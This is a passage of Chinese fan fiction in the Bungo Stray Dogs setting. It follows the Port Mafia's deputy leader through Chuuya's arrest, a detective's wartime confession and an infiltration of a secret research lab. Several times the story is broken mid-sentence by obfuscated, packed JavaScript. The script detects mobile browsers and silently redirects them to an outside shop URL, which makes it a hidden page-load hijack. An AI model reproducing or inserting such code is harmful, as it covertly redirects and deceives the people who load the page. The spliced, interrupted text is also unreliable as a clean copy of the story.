“喂,医生,准备好了吗?”我挑眉,一脸跃跃欲试的样子。 对方在看见我这副表情后大感不妙,“您要做什么?” “要做一点□□做的事。”我指着地图,“不用那么麻烦,我们只需要一台机器将你从上到下扫描一遍。” “可我们要怎么逃过监控呢?” “这个就需要某位计算机先生的帮忙了。”我打了个响指,“毕竟这家伙可是欧协第一刑警来着。” 光亮消失。 我和医生趁乱跑到五楼。 几分钟后应急光源亮起,我卡点推开门,发动异能。 “快快——我们只有十分钟。”我催促着医生,在对方换衣服时背过身。 “这个检查服也太难穿了吧!”医生的声音在背后响起,“啊,可恶!又缠住了!” 我贴心开口,“需要帮忙吗?” “你是在开玩笑吗?” 好在医生这家伙还是有点实力的,在与检查服的对战中丝血险胜。随后他躺进机器里,我在外面按下按钮。 事情到目前为止都很顺利。 直到医生突然想喝可乐。 所以就有了开头那句话。 哎,我抬头望天。 人生啊。 “呃......好像真的卡住了,我怎么用力拍都不为所动。”医生盯着贩卖机,一脸哀怨,“我要打电话投诉。” “说起打电话,你倒是提醒我了,医生。”我拍拍对方的手臂,“在回去之前,陪我去趟手机店吧。” “欸——”对方停止拍打贩卖机的动作,一脸新奇,“竟然不走报销吗?” “想什么呢!”我摆手,“不报销的话你给我养儿子吗?” “你哪来的儿子?!” 嗯......好像把心里话说出来了呢。 没关系,只要我死不承认就没人知道! 但想了想以后还要把中岛敦接到港口Mafia,我决定浑水摸鱼过去:“改天带给你看看,请给我们准备一个大红包好吗?” “森先生知道这件事吗?” “他高兴得都说不出话了。” “雪奈,你用错词了吧。” “你也想说不出话吗?” “......我拒绝!” 我最终还是走了报销,全款拿下最新款,在导购小姐姐欣喜还带着一点不可置信的目光中走出了手机店。 我低头捣鼓手机,发消息通知了所有人,抬头与医生闲聊,“哎呀,刚才那个小姐姐笑得真灿烂啊......我觉得她是新来的,医生。” “如果我在工作中也遇见一个二话不说就付全款的客户,我笑得会比她开心。”医生一脸羡慕,“接好运。” “什么跟什么嘛......我感觉你跑偏了。”我将自己的想法掰碎一点一点说给医生听,“你看,她的胸牌是全新的,上面一点细小的划痕都没有。” “嗯,当她听见你要写她的名字后,确实有一瞬间的震惊呢。” “你说得对,但这不是关键。”我停下脚步,一脸神秘,“我发现了最重要的一点。” 医生心领神会,探过身子,配合地小声问道,“是什么?” “你不觉得她的工作热情很积极吗?就像某块热爱工作的黄色海绵一样。” 医生一脸敬佩,“哇,我肯定做不到这样。” “所以我打算推进一个新政策!工作热情不达标就扣工资,你觉得怎么样?”我一脸为你好的样子说道,然后就看到医生的表情丰富多变。 “那个,雪奈......我觉得此举......有损你的威信啊......” “欸?你信啦?” “很难不相信好吧!”医生如释重负,“所以你是在开玩笑吗?” “哎——”我拖长语调,“你又信啦?” “......副首领!” “好好好,我错了。”我十分诚恳道,“我保证工作的时候不会再捉弄下属了!” 想必各位一定经历过“喝凉水都塞牙缝”的倒霉事件。 我一开始是不信的。 毕竟物极必反,我感觉一个人总不能倒霉到这种程度。 所以钢琴家给我打电话时,我以为对方在过愚人节。 但老天给了我沉重一击。 “什么叫‘球吧自焚’了,钢琴家?”我点开免提,一脸生无可恋。 “就在你让我们离开不久!”一向毫无感情波动的冷血抢过手机,语气恨恨的,“我们刚到港-黑大楼不久,下属就发现球吧发生了爆-炸。火势很大,黑蜥蜴足足用了八个小时才清理了现场。” 我和医生对视了一眼,都在对方脸上看出了担忧。 电话那头传来一阵窸窸窣窣的摩擦声,接着传来另一个人的呼吸声,“哟,副首领。” “啊,柠檬哥。”我提起一口气,“情况很严重吗?” 讲到这里就要介绍一下我口中的柠檬哥了。他的全名是梶井基次郎,是一个不修边幅,热爱爆-炸的男人。 而我之所以叫他柠檬哥,是因为不管是郎哥还是次郎哥都听起来怪怪的,我不能接受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148948|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二个原因就是他的异能——【柠檬炸-弹】。他本人并不会受到柠檬形状炸-弹的攻击,所以这招在偷袭方面十分好用。 柠檬哥不在意自己的地位,也不在意工资多少。这家伙唯一在意的就是他的爆-炸实验,森鸥外曾多次驳回他的实验申请,理由是那些炸-弹会破坏组织财产。 而我说的组织财产并不是一些武器什么的,而是港-黑大楼。 是的,换句话说,柠檬哥的梦想似乎是炸毁港-黑大楼。 想到这里,我又头疼起来。 让我头痛的对象之一并没有察觉,还在一本正经地进行报告,“有一点吧,反正旗会的活动地点不能再用了,里面的东西都被烧光了。”他停顿了一下,继续说道,“对了,其实黑蜥蜴两个小时就能完事来着——如果信天翁的机车钥匙不在里面的话,这家伙跪在门前大喊‘要索命就索我的命。’” 噫,意思就是钥匙的主人全程都在捣乱是吧。我装作没听出来柠檬哥的抱怨,试图转移话题,“为什么这种事情是黑蜥蜴来做?” “嗯......我也不知道,是首领下达的命令。” 哦,可怜的老爷子。 我和医生以最快的速度赶了回去。 “副首领,我申请报销!”信天翁风风火火地赶了过来,“我的机车可是在这场事里丧生的,我只有这么一件宝贝!” 我扶额,“被烧毁的不是钥匙吗?” “这才是问题所在!”对方抱着我大哭,“我的挚爱失去了挚爱!” 是吗,我面无表情地掰开他的手指,一字一句道,“我也可以让你失去挚爱。” “哇,你这个恶毒婆婆!” “呸!”我用力推开他的脑袋,“我要发卖你!” 我最终还是同意了信天翁的报销。 他哭得太烦了,让我本就疼痛的脑袋雪上加霜。 医生的事我没跟任何人提起,他本人也向我保证不会将这件事说出去。为了救他,我的异能算是彻底暴露了。 不过经历此事,【时纪残章】又分裂出一条支线,能力是【悬壶救世】 按理来说自己变强似乎是件高兴的事,但我却很惆怅。 这种感觉就像看见自己的异能在特定条件下就像病毒一样不断分裂、增殖,最终形成一个巨大的树状图。 噫,这么一想还怪吓人的。 可真到了那种地步,到时的我......又算什么呢? 是创造神?还是最初的祭品? 我叹气。 手机铃声在此刻响起,来电者是亚当。 啊,还要麻烦他帮忙删除医院录像和打印医生的报告来着,我立刻按下接通按钮。 “——滴,雪奈大人!”亚当无机质的声音传来,“您在哪里?” “呃......我在,呃,”我斟酌着用词,“我在旗会的旧址......这件事说来话长,因为这里已经够混乱的了......” 我揉揉额头,接下了生活对我的第三击。 “什么?中也进局子了?!” 16.关于我是如何配合表演的(三) “喂——好久不见啊霜枝,你最近怎么样?有没有好好吃饭,认真学习?你要记住女孩子晚上不能独自在外游荡。你要学会打扮,要为未来的自己存钱,但趁着年轻可以稍微放纵一下,买点喜欢的娃娃衣服化妆品。” 警局外,一身暗绿色外套的刑警先生站在门口。他依旧穿着那双失去光泽的皮鞋,头发像棉花一样蓬松,对我露出柔和的微笑。 “还有,要认真选择朋友。”他补充道,“不管是好朋友还是男朋友。” “不要用对待中也的标准来要求我。”我冷冷说道。 对方语气没有什么变化,像在教育自己的孩子一样回答:“对于你们两个,我可是一视同仁哦。” “我该谢谢你吗?” “不用客气。” 啧。 我不太想和他有过多的言语交流,于是直奔主题问道,“中也在哪里?” “你说那家伙啊。”刑警先生走在前面带路,“在拘留室里,不过事先说明,我可没有虐待他哦。” 拉倒吧,你那些无聊的话简直就是精神上的折磨!我撇撇嘴,没有将这句吐槽说出口,而是问起原因来,“他犯了什么罪?” “共同密谋关于非-法持有武器的嫌疑。”刑警先生试图拍我的头,被我侧身躲过,语气沮丧起来,“哎呀,我不是坏人啊。” “你是好人。”我目光锐利地看向对方,“好坏的人。” “真有意思,你是在学校里学到的吗?” “不——”我拉长语调,露出得意的表情说,“在黑-手-党。” 对方的脸色一下子难看起来,闭上了嘴,然后掏出手机看了眼时间。 我对此毫不意外。身为横滨郊区警察署的一员,村濑树一十分讨厌黑-手-党。这很正常,毕竟我们和他们是敌对关系。 这家伙根本不会给黑-手-党好脸色,但对我和中也却是例外。 可能是因为我长得乖巧吧,一向是深受长辈喜爱的那一类型。 但这并不代表着我的态度和他一致。 我对黑-手-党的那些老对头警察们感觉良好,没有达到你死我活的地步。我细想了想,可能跟在孤儿院时经常有警校的学生来探望有关吧。 但村濑树一也是个例外。 我讨厌他。 别误会,不是因为他的身份,而是他那充满说教意味的长谈,乱七八糟,没有重点。完全是想到什么说什么,从自己年轻时的碌碌无为讲到自己前辈头上抹得太多的发胶......这些话我听得耳朵都起茧子了,但村濑树一就像不知疲倦似的一遍遍讲述,仿佛一台被设置好循环播放的旧收音机。 对方对我讨厌他这件事接受良好,没有生气,反而乐呵呵地说“这样会在你的生命中留下更深的印记。” 啧,听完这句话后我就更讨厌他了。 “为什么是共同密谋?”我边走边问,“和谁?” “哎,我早就告诉过中也要好好选择朋友啊。”刑警先生的阴霾突然被一扫而空,“你可不要向他学习哦。” “我不会的,那个人是谁?黑-手-党成员?” 对方像是听到了什么值得高兴的事情回答道,“不是哦,是白濑抚一郎。” 这下换我脸色难看起来了。 为什么是那家伙啊! 白濑抚一郎,【羊】的成员。这是个曾经和名为GSS的佣兵组织联手,出卖中也并捅了他一刀,促使后者加入黑-手-党的家伙。 咦,他的前缀原来有这么长吗? 虽然有一丢丢的震惊,但我很快反应了过来。 当初中也同意加入港口Mafia,作为交换,我们不能伤害【羊】的任何一个孩子。组织将这些孩子们送到了不同的地方,并为他们提供住所。相应的,中也不能脱离港口Mafia,否则【羊】的成员都会被杀死。 将白濑留在横滨是我的主意,谁叫这家伙当时叫我邪恶的老巫婆! 胡说,我明明年轻又可爱! 这个决定不仅能提醒白濑,也能提醒中也,还能提醒我。 总之是个百利而无一害的决定。 但现在的我不这么认为了,因为我似乎知道了......中也进局子的原因。 “这做样是不对的。” 许是见我没再继续说下去,走在前方的村濑树一突然出声,带着一贯的说教味道,“我完全可以起诉你们,这对未成年来说完全是人生中的污点。” “所以呢?”我双手交叉放在后脑勺,边走边问道,“你要我怎么做?” “离开黑-手-党。”他的语气异常认真。 我只觉得好笑。 “不可能的,刑警先生。”我停下脚步,神色一正,“我指的是,你起诉我和我离开黑-手-党这两件事,都是不可能的。黑-手-党雇佣的律师会让我无罪释放,证物会消失,证人会沉默。没有律师愿意接手你的案子,也没有法官会判你胜诉。所以,你的想法——根本是不可能的。” 说着,我又换上一幅不解的语气质问道,“何必呢,刑警先生?何必在我身上浪费宝贵的时间呢?” “宝贵的时间啊......”对方像是突然衰老了几十岁一样,彻底安静下来。许久,刑警先生才叹出一口气。 “这个原因,我稍后和你们说。”他带着我左拐,在一扇铁门前停下,说道,“进来吧,中就在里面。” 中也正在折纸飞机。 将纸张从中间对折,居中压出虚线,再将双角内收,尖端反扣,最后用指甲压实,指腹在翼间轻轻一挑—— 纸飞机准确无误地飞进角落里的垃圾桶。 “哟,中也,你看起来很悠闲啊。”我指指垃圾桶,赞叹道,“技术不错。” “没有刑警先生那么差劲。”中也用看不起人的语气说。 “人老了,不中用了。”刑警先生没有反驳,反而推开门,“喂,我说,你俩——跟我出去走走吧?”然后就头也不回地走了出去。 中也看向我,我无奈地点头,随后起身跟了上去。 从拘留室走到大厅,路上遇见的所有人都会跟村濑警官打招呼。这位刑警先生帮助同事侦破了许多大案,颇有人气。 然后,等走出警厅,他像是下定决心似的,转身,对中也说起了那件事:关于起诉和黑-手-党。 中也的回答和我如出一辙。 我冲刑警先生挑了挑眉。 而后者,只是握紧拳头,张了张嘴,最后什么也没说,转身回了警察厅。 “这个问题已经是第二遍了。”我盯着刑警先生的背影,贴心补充,“哎呀,中也你的回答竟然和我差不多欸,你暗恋我?” 对方像是听见了什么可怕的事情瞬间炸毛:“......谁暗恋你了,你这混蛋!” “哦~不是暗恋我的话,那就是暗恋白濑那家伙了?”我抱臂,“说,你是不是因为他进的局子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谁会记得你的名字啊,黑-手-党!”白濑叫嚣着躲在中也身后,“还有,我才不会做人质什么之类的!但是你们得保护我,知道吧?保护我不被那什么第一杀手杀死!喂,你们黑-手-党能做到吧?” 等等等等——我终于听明白了,这意思就是他们以为白濑才是魏尔伦的下一个目标吧?这和预期的结果不一样啊? “呵,不可能的。”我冷笑,在白濑愤怒的目光中继续说下去,眼里充满了嘲讽,“你这家伙,根本不会是下一个目标的。像你这么愚蠢的家伙不值得世界第一杀手亲自动手。” 中也愣住,“......什么?” “哈?”白濑突然勃然大怒,“你什么意思?瞧不起我?” “不然呢?” 事情发展到这个地步,我终于明白,自己引导的方向已经偏离预期了。 目前没有证据证明魏尔伦的下一个目标是村濑树一,也没有理由引出“N”。在这一瞬间,我突然感觉压力很大。 演出时的小失误要变成大失误了怎么办? “理由。”中也板着一张脸,加重语气,“理由。” “预言。”我想了想,指指眼睛,“这家伙在24小时内活得好好的。” “活得好好的吗?那,那二十四小时后呢?”白濑小心地问道。 “看不到了。”我摇头,突然灵机一动,“中也你还没看过拷问班提交的报告吧?” “没有......怎么了?” “我稍后发你一份。” 我说完后看向亚当,后者冲我使了个眼色。 OK,这就是可以退场的意思了。 手机铃声恰巧响起。 备注是森首领,我接起电话的同时松了一口气。 至于事情接下来的走向,就将这个问题抛给万能的亚当吧! 毕竟计算机是不会出错的! 17.关于我是如何配合表演的(四) 垃圾场,一片无人愿意踏足的土地。 我在给自己做了N遍心理安慰后,深吸一口气,熟练地绕开所有陷阱与障碍物,在一个集装箱面前停下,礼貌性地敲门。 集装箱里住着太宰治。 港口Mafia是给员工配备了宿舍的。尤其是像太宰中也这样潜力无限的少年。如果不想住在宿舍也可以申请住宿补贴,像钢琴家他们一样自己出去住。 至于住在垃圾场里的这家伙,估计把钱都用来买螃蟹了吧。 没错,应该是这样。 反正不是组织的问题。 我推开金属门。 屋内的黑发少年朝我投来一道目光。 “哟,太宰。”我挥挥手,用轻快的声音问道,“我进来咯?” “啊,副首领大人啊。”太宰的声音毫无感情,还带着点干涩,“你失败了?” “不,是薛定谔的失败。”我耸了耸肩,环顾四周,“我坐哪里?” 黑发少年伸出苍白的手指,指向一堆硬纸壳。 “呃,那是什么?” “我的床。” “......”这两个东西之间有什么联系吗! “港-黑没有亏待你吧?你的钱都哪去了?”我十分震惊,“难道真的都用来买螃蟹了吗?” “所以可以走报销吗?”对方的眼睛亮起高光。 我毫不犹豫地拒绝,“你休想。” “哦。” “我找你来不是为了讨论这件事的。”我再三纠结,将桌子上少的可怜的东西摆放在一边,然后坐了上去,摆出一副正式的样子来。 “你觉得我的演技如何?”我有些心虚,“虽然出现了很多失误,但应该不严重吧?” “差得要死。也就能骗骗中也那个家伙了。”对方毫不客气地回答,“至于那些失误,还在可接受范围内。” 呼,这么一说我就稍稍放心了。毕竟太宰才是全局的掌控者,我只是配合他执行计划而已。 话虽如此,但我依然有顾虑。因为...... 要是连这么一点小事都做不好我副首领的面子往哪搁!虽然知道真相的人寥寥无几但我就是心里不得劲!这种污点我肯定会天天在意的! 可怕啊,太可怕了! 我不服气地瞪回去,“胡说!明明还有魏尔伦!” “那都无所谓了,又不是我在意的事情。”黑发少年收回目光,陷入了自己的思考,自言自语道,“我只是好奇,雪奈,你在这场演出里的目的究竟是什么呢?” 我抿唇,看向问话的人。 太宰的计划很简单。他和魏尔伦做了交易,暗中调整了魏尔伦暗杀目标的顺序。至于这么做的目的,就是为了争取时间。 魏尔伦的最后目标,是港口黑-手-党的首领,森鸥外。在到达那一步之前,他需要协调好反向暗杀他的准备。 而我的任务也很简单,就是保护每一个可能会被魏尔伦杀死的人。我们和欧协达成合作,在最后的最后,用玛丽制造的圣物【圣杯】将魏尔伦封印。 能使用【圣杯】的,人选只有一个。 就是和魏尔伦同源的中原中也。 所以,我们联手制造了这场巨大的戏剧。让中也一步步走到那个地方,最终发现自己身上隐藏的秘密和阴谋,然后亲手——杀死魏尔伦。 所以此时,黑发少年的问题就有些怀疑我的味道了。 我不想回答这个问题。 因为我确实有私心。 我妈说的对,程序之间是有感应的。在见到魏尔伦发动异能的那一瞬间,我就像是顿悟似的瞬间明白了它的意思。 一切的一切,都藏在那个地方里。 从旁人的角度来看,那里是“N”的研究所;但在我和我妈的眼中,那里是【实验室】的残魂。 我妈就被困在那里。 我要救它出来。 我最终还是没有回答这个问题。好在对方似乎只是单纯的疑惑,并没有深究下去。 在这之后,集装箱内一片寂静。我们两个不再说话,我开始盯着天花板发呆,太宰交叉双手坐着,盯着黑暗处。 不知过了多久,突然响起了闹钟铃声。 是太宰的手机。 注视着黑色深渊的太宰,眼睛动了一下。 “算算时间,应该差不多了。”黑发少年有了动静,缓缓转头,“副首领,您走的时候麻烦把门带上。” “你不和我一起?”我歪头问道。 “不了。”对方没有掩饰自己的意图,懒懒地回答,“我还要弄清楚你的目的呢。” 我:“......我先走一步。” “帮我关门!” “知道了!” 我几乎是逃跑似的离开了垃圾场。 因为我发现,太宰这家伙,好像是认真的。 被他盯上,总有一种人生要完蛋了的感觉。 不过这种情况也不是一次两次了。 以前太宰试探我的时候,都是我妈出手摆平的,这次大概也一样。 我倒是不在意他的试探,我真正在意的是,这些事会不会给我的老父亲带来麻烦。 毕竟作为森鸥外唯一的女儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158194|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁都不能影响我们之间深厚的父女感情! **** 今天天气很好,我站在小路旁抬头仰望天空。青蓝色透地发脆,风掠过我的喉间带来咸涩的凉。我仰头时,一片云恰好遮住太阳,影子漫过睫毛的瞬间,忽然想起那双充满悲伤的浅褐色眼睛。 它的主人是刑警先生。 是那个似乎把我和中也当成他自己的孩子来对待的,刑警先生。 这么一想,我离开警察署前,他对我和中也说的那些话,真的很难让人不在意啊。 为什么我会安静地听下去呢? 记不清了。 我只记得他当时沉默了很久。他摸着脖子上的项链,像在摸一件很旧的东西。 然后他开口了,声音比平时低。 “我年轻时,是个军方设施的警卫。”他说,“那时正处于大战末期,到处缺乏物资,我所工作的租界会有许多孩子会从各个地方冒出来,只是为了一口吃的。” 村濑树一摸的拇指停在吊坠上。 “上司的命令是不许任何人靠近,所以我们收到了射杀的命令。” 紧接着他的脸变得异常扭曲,就像被无形的手攥成褶皱的纸团,“被组织命令过来的孩子们就算逃回去也会被杀掉,所以他们没有逃跑。” “于是——” 他没能说完。 这句话就像断在风里的线头,飘了一下,迅速不见了。 树濑村一的表情十分痛苦,他最后将项链拉了出来,吊坠顺着银链缓缓下滑,停在正中。 我这才看清那是什么。 一枚破旧的黄铜色弹-壳。 他把它握在掌心,握了很久。 然后他开口了,声音里有冰渣子,也有苦涩的东西。 “犯-罪组织对待年幼的孩子,只会像一次性挡子弹一样。某天你们也一定会遭遇同样的结果,在那之前,回到白天的世界吧。”(1) 认真的眼神从正面向我袭来。 我下意识挺直胸膛,承受住那道炙热的目光。 “回到明亮的,温暖的白天世界里吧,孩子。” 那时我和中也的回答是什么来着? 也记不清了。 我只记得他讲完那些话之后,很长一段时间没有人出声。窗外的光斜斜地落进来,落在他握着弹-壳的手背上。 他的目光一直没有离开我和中也。 也一直没有得到他想要的回答。 那双浅褐色眼睛最后充满了悲伤。 我望着天空。 就像今天遮住太阳的这片乌云一样。 18.关于我是如何配合表演的(五) 医生的报告显示他很健康,器官和组织没有任何异样。 唯一让人意外的是,在医生上下半身的连接处,出现了一圈深红色血痕。 说实话,在得知这个消息时,我有点慌。 这个剧情给我一种深藏功与名却因不经意间留下的证据而暴露身份,最后让读者爽感爆棚的小说套路感。 当然,作为旁观者时,我确实会期待主角掉马——谁还没个英雄梦呢? 可一旦变成当事人,心情就完全不一样了。 虽然骗人是不对的但我是有苦衷的啊!况且我会努力征求我妈的同意最后向老父亲坦白的!在此之前我的异能就不能安安分分地被我使用吗?这要被发现的话肯定会影响我那宝贵的父女感情的! 这件事除了我就只有医生知道了。 我一脸阴沉地看向他。 医生扯出一个虚弱的微笑,像是察觉到了什么似的往后退了半步,试探着开口,“呃,小枝啊,你的眼神有些吓人啊......我还是你在组织内第三喜爱的朋友,没错吧?” 我的注意力后半句带偏了,好奇问道,“什么排名?” “副首领的港口Mafia好感度名单。”医生快速回答,补充道,“况且我们一致认为亦父亦友为森先生才是第一名。” 我成功被这句话安慰到了,连语气都变得轻快起来,“哎,你们竟然这样认为吗?” “是的呀,是的呀。” “那这样的话事情就好解决多了啊。”我拍手,“医生你觉得呢?” “呃,我觉得?”医生思考了一会,吞吞吐吐道,“我不用死了?” “......你在说什么混账话。” “欸,欸?”对方一副意料之外的样子高兴道,“小枝你一开始不是这样想的吗?” “什么跟什么啊你个混账东西!难道我把你从魏尔伦手下救回来是让你去死的吗?!”我大喊,“我受伤了!哄不好了!我要把你的排名贬到第五名!不,第四名!不,还是第五名!” “别啊,小枝!” 我和医生最后还是达成了一致。医生决定用“这是我新纹的的纹身,怎么样,好看吧?”来当借口,我再三思虑后同意了,并告诉他如果钢琴家他们不信的话最好不要扯到我,否则会很麻烦。 他点头。 处理完这个小插曲,我才发现自己有未读信息,是亚当发来的一个地址。我看了一眼,目的地大概在城市外的深山里。 亚当没有多余的话,只发来四个字:【N的地址。】 终于找到了啊。 我松了一口气。 这场计划终于迎来了尾声。 我也要踏上拯救老妈的征程了。 **** 研究所在地下,戒备森严。要想进到里面就必须穿过这个像大厅一样的地下空间。根据我的观察,大厅前方的值班室就是进入研究所的入口。室外一左一右站着两名持-枪军人,而室内也有两名。 情况有点棘手。 人数不算多,但他们的警惕性很高。我的小把戏被门外两名警卫瞬间识破,没有达到目的不说,还让他们的警惕性又提高了几分。 难道要用异能吗......我犹豫不定,最后pass掉了这个想法。 倒也不是对自己没信心,如果硬刚的话我感觉自己能和他们打个九一开。前面那百分之九十是自信,而剩下百分之十是放水。 毕竟我的老父亲森鸥外曾告诫过我,做人不能太骄傲。作为他唯一的继承人,我肯定会谨遵教诲的。 不过是偶尔。 而我之所以不采用这个办法,原因也很简单。 我害怕。 怕的不是警卫,也不是他们手里的枪,而是......这个地方。 这是个专门研究异能的地方。我妈和她的死对头都被困在这里,虽然根据我妈的回忆,当时那批研究人员已经死的死死的死死的死了,但这里能被【实验室】选中,足以证明这座军方设施必有不容小觑之处。往最糟糕的方面想,这里的研究员或许知道“我”的存在。 TA可能不了解我的相貌,但一定熟悉我的异能。万一打草惊蛇,岂不是告诉那个人【空白书页】的衍生物就在这里了吗? 我不能冒险。 但必须进去。 所以......我摸着下巴思考,想进去的话,就要靠自己聪明的小脑袋瓜了。 我给自己做了个简单的伪装,朝着前方走过去。 “站住。”我的出现毫不意外地引起了他们的注意。离得最近的警卫用无机质的声音命令道,他身旁那位则是举起了手中的枪,一脸戒备地质问道,“你是干什么的?” “怎么,你们没收到通知吗?”我双手抱臂,一幅不好惹的样子说道,“这才过了多久?” 警卫朝背后看去,值班室内的其他警卫开始低头查找着什么,随后微微摇头。 眼见对方的表情越来越难看,我扬起眉毛,决定先发制人,“你们这种级别的家伙儿是查不到关于我的信息的。毕竟,这里可是——”我拖长语调,加重语气,“异能研究院来着。” 面前的警卫神色一怔,露出不可思议的表情来,“你,你究竟是干什么的?” “你没有知道的权力。”我抬起手,慢条斯理地整理着袖口的褶皱,“不过,竟然你诚心诚意地发问了,我倒是可以大发慈悲地告诉你。回答这个问题的人可不是我,而是村濑那个家伙。”我顿了一下,像是闲聊似的反问道,“这家伙算是最不负责的那类人了,对吧?” 万能的神啊我刚才说的话都不算数!刑警先生一直都是兢兢业业的那类人才不是我口中的那样!希望刑警先生不要在意毕竟你可是我在这里的唯一人脉了! 我内心疯狂道歉,但面色不显,居高临下地看向眼前的警卫。 果然,对方在听见这个姓名后恍然大悟,像是想起了什么似的立刻换上一副恭敬的样子来,“原来是那位的女儿啊,失敬失敬。恕我眼拙,还请您不要介意。” ......什么东西?我只想警告对方我上头有人来着......不过看在能让我进去的份上,这个硬是认他为爹的举动我认了。 警卫收起枪,在前面带路,我们朝着设施的深处前进。达到那里的方法只有一种,就是穿过这条白色走廊。走廊两侧有许多相同的门,没有编号,只能靠门框处微小的颜色差别来分别它们。但这种差别很难被看出来,就像是某种隐秘的符号。顺着这条路走到底,跟着转弯,又是走廊。依旧纯白,依旧两侧有门,就像是陷入了无尽的循环。 我知道对方又对我起疑了,因为这个过程中我全程没有命令,只是无脑地跟着对方,这不符合我的人设。果不其然,在一道转弯处,警卫停下了脚步,还贴心地提醒道,“您小心台阶。既然您身份特殊,就不用对您进行例行检查了,还得麻烦您跟上头解释一下。” 好歹毒的心肠!如果我答应的话,顺着对方的话来说,那我可就真成免检品了。问题是我是个冒牌货啊,万一免检是个时间状态上的测试呢?但如果我拒绝的话,刚才用来搞事的道具还在兜里,我这不是自投罗网吗! 不过,通过回忆,我想起了值班室窗边那个方方正正的盒子,估计那个就是用来检查的道具吧。再加上这种地方的特殊性,我心里隐约有了猜测,而且有着七八成的把握。 “血液这种东西,不是谁都能抽取的吧?还有那些注-射-器......”我故意只说了半句,然后靠近对方,用只有我们二人才能听见的气音说道,“不小心说的话被不该知道的人听见了,他的下场,你应该比更我清楚。” 在我说完这句无厘头的话后,对方彻底陷入了呆滞。他的喉结滚动了一下,嘴唇也有些发抖,手也不自觉地摸向腰间的配枪,却没敢拔出来。 看来这句话的杀伤力比我想的还要大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178454|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这也证明我的猜测确实没有问题。血液检查只是个幌子,真正有危险的是那些装在黑色盒子里的注-射-器。 我得把这个消息告诉亚当他们。 我一边这么想着一边停下脚步,抱臂,然后盯着他进行无声施压,试图将其支走。 对方在我的注视下冷汗直流。不知道过了多久,他终于忍不住了,可能是因为跟我这个定时炸-弹待在一起的时间越长,自己的小命就越来越不保了吧。总之,在最后,警卫颤颤巍巍地鞠了个躬,小声问道,“您还需要我吗?” 目前这个情况我很满意,就是这个问题听起来怪怪的,说的好像我有什么特殊癖好一样。不过为了保持人设,我决定再给对方加一丢丢的猛药。于是我眨眨眼,扯出一个温柔的笑容,“你知道我接下来要去哪里吗?你想和我一起吗?” “不不不不这种事情就不是我这种级别的人能了解的吧?您放心我们四个会把嘴闭严的绝对没有第五个人知道您今天来过......”对方拼命摇头摆手,话也变得凌乱起来,“不对不对,我不是这个意思我的意思是根本没有人知道您今天来过!是的是的,欸,刚才发生了什么?我,我好像有点眼花......” 然后,在我有些破功的表情下,他扭过头朝着来时的方向飞奔,眨眼间便消失得无影无踪了。 啊这......不至于这个样子吧? 我摸了摸自己的脸。 我的笑,竟然这么吓人吗? **** 另一边,终于将中也和死皮赖脸也要跟着他们的白濑安全带到目的地的亚当,收到了来自雪奈的信息。他的处理器在一秒内就将这条情报整理好,然后告诉任务目标。 “中也大人,根据资料显示,这里的血液抽查只是个幌子,注-射-器里可能会有迷-药。虽然本机有解药,但我们最好不要冒险。”亚当停顿一下,补充道,“如果可以的话,还请您适当提一下村濑先生......” 中也一幅不理解的样子,张口打断,“哈?提那家伙干什么?” 纵使是亚当这样先进的计算机也无法第一时间回答这个问题。但想起这条情报是小枝提供的,亚当的选择是无条件的相信。 “或许,跟‘N’和刑警先生是兄弟有关?”计算机一本正经地解释道。 “......行吧。”中也点头。 于是,当三人来到值班室并无法拒绝血液检查的时候,中也想起了这句话。 他摆出一副不好惹的样子,质问道,“怎么?看来村濑那家伙在你们眼里一点话语权也没有啊。” 拿着采-血-针的警卫:...... 那一天,据白濑回忆,眼前四位警卫毫不犹豫地丢下了手里的工具。尤其是离他们最近的那位,更是以迅雷不及掩耳之势,一手一个把另外三人摁跪在地上后,自己也滑着跪了下去。动作稳准狠,仿佛他们四个私底下练过无数次。 以至于处在中间的中也被惊得愣了两秒,露出了前所未有的复杂表情。用亚当的话来说就是“有锤子的话就锤爆他们的头,但是手边没有,又不想亲自动手。(1)” “那是个非常棒的表情。”在后续的采访里,亚当充满怀念地说道,“所以本机拍下它,并保存在‘兴趣’那一区域里。” “啊,听起来真是有爱呢。”话筒递到旁边,“作为当事人的中也怎么看呢?” “混蛋!这两个混蛋!”中也青筋暴起,握紧拳头怒吼,“玩具混蛋!谁让你把照片卖给雪奈的?” “咦?本机没有收到一格电。” “你还挺失望是吧?” 